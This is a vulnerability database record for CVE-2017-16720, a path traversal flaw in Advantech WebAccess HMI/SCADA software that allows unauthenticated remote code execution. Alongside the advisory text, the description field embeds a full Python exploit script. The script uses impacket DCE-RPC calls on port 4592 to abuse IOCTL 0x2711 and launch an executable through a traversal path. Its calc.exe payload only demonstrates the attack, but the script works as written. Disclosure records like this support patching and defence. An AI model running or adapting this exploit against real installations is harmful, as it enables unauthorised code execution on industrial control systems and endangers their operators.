ID

VAR-201801-0150

CVE

CVE-2017-16720

TITLE

Advantech WebAccess Path traversal vulnerability

DESCRIPTION

A Path Traversal issue was discovered in WebAccess versions 8.3.2 and earlier. An attacker has access to files within the directory structure of the target device. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator. An attacker can leverage this vulnerability to delete files accessible to the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple denial-of-service vulnerabilities 2. Multiple stack-based buffer-overflow vulnerabilities 3. A directory-traversal vulnerability 4. An SQL-injection vulnerability 5. Multiple denial-of-service vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. #!/usr/bin/python2.7 # Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability # Date: 03-11-2018 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: www.advantech.com # Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe # Version: Advantech WebAccess 8.2-2017.08.18 # Tested on: Windows Server 2008 R2 Enterprise 64-bit # CVE : CVE-2017-16720 # See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/ import sys, struct from impacket import uuid from impacket.dcerpc.v5 import transport def call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception, e: print "Exception encountered..." + str(e) sys.exit(1) return res if len(sys.argv) != 2: print "Provide only host arg" sys.exit(1) port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0" host = sys.argv[1] string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port) dce = trans.get_dce_rpc() dce.connect() print "Binding..." iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print "...1" stubdata = struct.pack("<III", 0x00, 0xc351, 0x04) call(dce, 2, stubdata) print "...2" stubdata = struct.pack("<I", 0x02) res = call(dce, 4, stubdata) if res == -1: print "Something went wrong" sys.exit(1) res = struct.unpack("III", res) if (len(res) < 3): print "Received unexpected length value" sys.exit(1) print "...3" # ioctl 0x2711 stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204) command = "..\\..\\windows\\system32\\calc.exe" fmt = "<" + str(0x204) + "s" stubdata += struct.pack(fmt, command) call(dce, 1, stubdata) print "\nDid it work?" dce.disconnect()

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

Path traversal

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Steven Seeley (mr_me) of Offensive Security

SOURCES

LAST UPDATE DATE

2024-08-14T13:46:13.780000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE